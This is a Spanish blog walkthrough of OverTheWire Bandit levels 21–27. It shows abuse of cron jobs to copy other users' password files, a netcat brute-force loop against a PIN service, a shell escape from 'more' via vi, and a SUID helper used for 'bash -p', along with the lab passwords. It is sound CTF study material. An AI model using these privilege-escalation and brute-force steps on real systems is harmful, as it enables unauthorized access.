Bandit 21 -–❯ 26


Juegos de Guerra "Bandit" Overthewire

Published on August 27, 2023 by Gmichet

LINUX BANDIT

17 min READ

Bienvenido a la parte número 5 de los juegos “Bandit” de la página OverTherWire

SkillsEnlace
Tareas CRONCRON
Modificando stdout de una tarea CRONCRON
Explotando una tarea CRONCRON
Ataque de fuerza bruta por netcatScript force brute
Uso del MOREMORE

Indice


Bandit 21 al 22

Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.

Iniciamos:

ssh bandit21@bandit.labs.overthewire.org -p 2220 

Demonio CRON

CRON

Antes que nada debemos conocer que son las tareas CRON. Bueno “CRON” es un demonio que correra en el sistema media vez encendamos el equipo, las tareas CRON permiten programar y autorizar la ejecución de comandos o scripts en momentos especificos, ya sea de forma repetitiva o en horarios determinados.

bandit21@bandit:~$ cat /etc/crontab .d
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
  • Los cinco asteriscos representan respectivamente:

minuto, hora, día del mes, mes y día de la semana.

Resolviendo Nivel 21

La instrucción dice: Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.

bandit21@bandit:~$ cd /etc/cron.d/

bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit15_root  cronjob_bandit22  cronjob_bandit24       e2scrub_all  sysstat
cronjob_bandit17_root  cronjob_bandit23  cronjob_bandit25_root  otw-tmp-dir

_

Miramos que es lo que hace el bandit22 que es el siguiente nivel:

Se ejecutará la tarea “CRON” cada vez que la computadora se reinicie y también cada minuto. La tarea consiste en ejecutar el script cronjob_bandit22.sh en el fondo y no mostrar ningún mensaje de salida o error.

bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
  • Cuando listamos la tarea “CRON” no arrojó una ruta

El cronjob_bandit22.sh es el script que se ejecuta periódicamente como parte de una tarea programada en el sistema.

El archivo /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv parece ser un archivo temporal que se utiliza para almacenar la contraseña de bandit22

bandit21@bandit:/etc/cron.d$ cd /usr/bin/

bandit21@bandit:/usr/bin$ cat cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

  • Para obtener la clave podemos leer el archivo temporal en donde se redirige la contraseña de bandit22 a /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/usr/bin$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

Bandit 22 al 23

Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.

NOTA: Mirar scripts de shell escritos por otras personas es una habilidad muy útil. El guión para este nivel se hace fácil de leer intencionalmente. Si tiene problemas para comprender lo que hace, intente ejecutarlo para ver la información de depuración que imprime.

Sitio Oficial

Iniciamos:

ssh bandit22@bandit.labs.overthewire.org -p 2220

Resolviendo Nivel 22

Primero accedemos al directorio en donde estan las tareas cron

bandit22@bandit:/etc$ cd cron.d

bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
  • Leemos el script que se esta ejecutando para el nivel bandit 23
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
  • El script va a generar un hash MD5 único basandose en el nombre de usuario actual (myname) luego copia el archivo de contraseña del usuario actual a un archivo con el nombre del hash (mytarget) generado en la carpeta /tmp

Para resolverlo podemos copiar lo que contiene la variable mytarget que es el hash MD5, y solo cambiandole el nombre actual por el siguiente nivel “bandit23”:

bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
  • Ahora que sabemos el contenido del hash mytarget podemos ver la contraseña que va redirigida al archivo temporal tmp/$mytarget en done “$mytarget” es el hash MD5 antes conseguido:
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

Bandit 23 al 24

Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.

NOTA: este nivel requiere que cree su propio primer script de shell. ¡Este es un paso muy grande y deberías estar orgulloso de ti mismo cuando superes este nivel!

NOTA 2: tenga en cuenta que su script de shell se elimina una vez que se ejecuta, por lo que es posible que desee conservar una copia…

Sitio Oficial

Iniciamos:

ssh bandit23@bandit.labs.overthewire.org -p 2220

Resolviendo Nivel 23

bandit23@bandit:~$ cd /etc/cron.d/

bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24 
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

_

Interpretando script


  • Leemos el script

Intentemos interpretar el funcionamiento del script, primero se ejecuta “myname=$whoami” en este caso es “bandit24” ya que es el que ejecuta el script * * * * * bandit24 /usr/bin/cronjob_bandit24.sh.

bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done

_

Luego entra al directorio /var/spool/$myname"/foo || exit 1 y si hay un stderr sale con código de error 1.

echo “Executing and deleting all scripts in /var/spool/$myname/foo Imprime el mensaje para indicar que se están ejecutando y eliminando todos los scripts en el directorio “/var/spool/$myname/foo”.

for i in * .*; Inicia un bucle for que recorre todos los archivo y carpetas .*

Ahora pone la condición if [ “$i” != “.” -a “$i” != “..” ]; para que no se incluyan los dos archivos que viene por defecto en el sistema que es retroceso de directorio y directorio actual que son caracteres especiales.

Luego obtiene el propietario del archivo actual utilizando el comando stat y lo almacena en la variable owner: owner="$(stat --format "%U" ./$i)"

Después de lo anterior comprueba si el propietario del archivo actual es bandit24 if [ “${owner}” = “bandit23” ]; then

Si es el propietario entonces ejecuta el archivo ./$i con un tiempo máximo de ejecución de 60 segundos. Y termina eliminando el archivo después de su ejecución rm -rf ./$i

Creando script


  • Algo interesante que hace la tarea CRON anterior es ejecutar todos los archivos en el directorio /var/spool/$myname/foo, verificamos permisos en esa ruta:
bandit23@bandit:/var/spool/bandit24$ ls -l
total 4
drwxrwx-wx 18 root bandit24 4096 Aug 30 16:50 foo
# Permisos de otros: escribir y ejecutar pero no leer con eso basta
  • Entonces podemos crear un script que muestre la clave de acceso del usuario bandit24 pero que la envié a un directorio temporal:

Primero creamos un directorio temporal en donde crearemos el script

bandit23@bandit:~$ mkdir /tmp/mechitast
bandit23@bandit:~$ cd /tmp/mechitast

# Cambiamos los permisos del directorio temporal en donde otros(nosotros) podamos escribir
bandit23@bandit: /tmp/mechitast$chmod o+w //tmp/mechitast
  • Creamos el script
#!/bin/bash

#La lectura de cat quiero que lo metas en la ruta temporal y en concreto al archivo txt
cat /etc/bandit_pass/bandit24 >  /tmp/mechitast/clave.txt
  • Cambiamos los permisos del script chmod777 que significa que el usuario, grupo y otros tienen permisos de lectura, escritura y ejecución.
bandit23@bandit:/tmp/mechitast$ chmod 777 script.sh 

bandit23@bandit:/tmp/mechitast$ ls -l
total 4
-rwxrwxrwx 1 bandit23 bandit23 159 Aug 30 17:02 script.sh
  • Ahora copiamos el script.sh a la ruta /var/spool/bandit24/foo/
bandit23@bandit:/tmp/mechitast$ cp script.sh /var/spool/bandit24/foo/
  • Ahora solo es cosa de esperar el archivo “clave.txt” que contiene la clave de bandit24, podemos utilizar el comando watch -n 1 ls -l para listar el contenido del directorio actual de forma continua cada segundo.
bandit23@bandit:/tmp/mechitast$  watch -n 1 ls -l

Every 1.0s: ls -l                                            bandit: Wed Aug 30 17:06:08 2023

total 8
-rw-rw-r-- 1 bandit24 bandit24  33 Aug 30 17:06 clave.txt
-rwxrwxrwx 1 bandit23 bandit23 159 Aug 30 17:02 script.sh
  • Mostramos el archivo “clave.txt”
bandit23@bandit:/tmp/mechitast$ cat clave.txt 
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

Bandit 24 al 25

Un demonio está escuchando en el puerto 30002 y le dará la contraseña de bandit25:

  • Si se le proporciona la contraseña de bandit24 y un código PIN numérico secreto de 4 dígitos.
  • No hay forma de recuperar el código PIN, excepto pasando por todas las 10000 combinaciones, lo que se conoce como fuerza bruta.

No necesita crear nuevas conexiones cada vez.

Sitio Oficial

Iniciamos:

ssh bandit24@bandit.labs.overthewire.org -p 2220

Resolviendo Nivel 24

Para el PIN code de 4 dígitos hay 10 opciones para cada dígito (0 al 9) y 4 dígitos en total:

Combinaciones posibles = 10^4 = 10,000

Inicio 0000 -–❯ 9999 Fin

  • Creamos un directorio temporal con permisos “chmod o+w” y dentro un script con permisos “777” que contenga lo siguiente:
#!/bin/bash

for i in {0000..9999}; do 
       echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"
done
  • El script va iterar a través de la secuencia de números de “0000” a “9999” y si el PIN code es correcto va a imprimir la contraseña de bandit24.

Método 1

Los ataques de fuerza bruta generalmente se hacen a través de un diccionario entonces redirigimos el script a uno:

bandit24@bandit:/tmp/tmp.2UANuQNZor$ ./fuerza_bruta.sh > diccionario.txt
...
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9994
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9995
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9996
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9997
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9998
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9999
  • Ahora ejecutamos toda esa data al puerto 30002 por netcat y si no quieres ver los errores puedes usar grep -v -E para que no muestre dos palabras en especifico:
cat diccionario.txt | nc localhost 30002 | grep -v -E "Wrong|Please"

_

Método 2

bandit24@bandit:/tmp/tmp.nogmGeDiv6$ ./fuerza_bruta.sh -v | nc localhost 30002 | grep -v -E "Wrong|Please" 
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Exiting.

Bandit 25 al 27

Iniciar sesión en bandit26 desde bandit25 debería ser bastante fácil… El shell para el usuario bandit26 no es /bin/bash, sino otra cosa. Descubra qué es, cómo funciona y cómo salir de él.

Iniciamos:

ssh bandit25@bandit.labs.overthewire.org -p 2220

Resolviendo Nivel 25 y 26

Listamos, encontramos una llave ssh

bandit25@bandit:~$ ls 
bandit26.sshkey
  • Nos conectamos por la clave y la conexión automáticamente se cierra:
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220

  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 
Connection to localhost closed.
  • Si ahora intentamos conectarnos con una bash por ssh
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220 bashp -p
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit25/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit25/.ssh/known_hosts).
                         _                     _ _ _   
                        | |__   __ _ _ __   __| (_) |_ 
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_ 
                        |_.__/ \__,_|_| |_|\__,_|_|\__|
                                                       

                      This is an OverTheWire game server. 
            More information on http://www.overthewire.org/wargames

!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.

whoami
ls
  • Al parecer si es cierto lo que dice la descripción del juego “bandit26 no es /bin/bash” sino otra cosa. Podemos listar el el archivo /etc/passwd que proporciona detalles como el nombre de usuario, ID de usuario, descripción, directorio de inicio y shell de ejecución asociados con la cuenta de usuario correspondiente.
bandit25@bandit:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
# etc...
  • Para filtrar solo por el nivel que nos interesa y el que rechaza la conexión que es bandit26:
bandit25@bandit:~$ cat /etc/passwd | grep "bandit26"
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

# Diferencia entre el nivel actual y el nivel siguiente

bandit25@bandit:~$ cat /etc/passwd | grep "bandit25"
bandit25:x:11025:11025:bandit level 25:/home/bandit25:/bin/bash
  • Mostramos el contenido de la ruta anterior:
bandit25@bandit:~$ cat /usr/bin/showtext 
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0
  • Lo importante de ese script es la linea exec more ~/text.txt que va a reemplazar el proceso actual por el comando more

MORE

El comando more se utiliza para mostrar contenido de un archivo en el terminal de manera paginada, lo que significa que el contenido se muestra en páginas y el usuario puede avanzar o retroceder.

Un ejemplo sencillo puede ser el siguiente al final se puede ver un more

❯ more 2023-08-25-Bandit16-20.md:/et

---
title: Bandit 21 -–❯ 25
layout: post
post-image: /assets/images/Post/P8/5.jpg
description: Juegos de Guerra "Bandit" Overthewire
tags:
- LINUX
- BANDIT

--More--(0%)
  • Ahora presionando v se pude entrar en el modo edición seguidamente para indicar instrucciones presionamos los dos puntos :.

Primero intentemos forzar el modo more en la conexión del ssh:

B25

El truco es hacer la terminal lo suficientemente pequeña para que el more se aplique

  • Ahora una vez en el more hacemos lo siguiente:
# Presionar la tecla v
v
# Después el comando que necesitamos
:set shell=/bin/bash
# Finalmente spawneamos la shell
:shell

B25

Listamos el contenido:

bandit26@bandit:~$ ls
bandit27-do  text.txt

bandit26@bandit:~$ cat text.txt 
  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 

bandit26@bandit:~$ ls -l
total 20
-rwsr-x--- 1 bandit27 bandit26 14876 Apr 23 18:04 bandit27-do
-rw-r----- 1 bandit26 bandit26   258 Apr 23 18:04 text.txt
  • Nos encontramos con otro permiso SUID
bandit26@bandit:~$ ./bandit27-do 
Run a command as another user.
  Example: ./bandit27-do id

bandit26@bandit:~$ ./bandit27-do whoami
bandit27

bandit26@bandit:~$ ./bandit27-do bash -p
bash-5.1$ ls

bash-5.1$ whoami
bandit27

bash-5.1$ cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

Referencias

Scripthing en Bash para Principiantes #1

Gmichet

Autodidacta apasionado por la informática y entusiasta de los CTF. Constantemente aprendiendo.

2024 | WhatATheme - A Theme made with by Gmichet Powered by Jekyll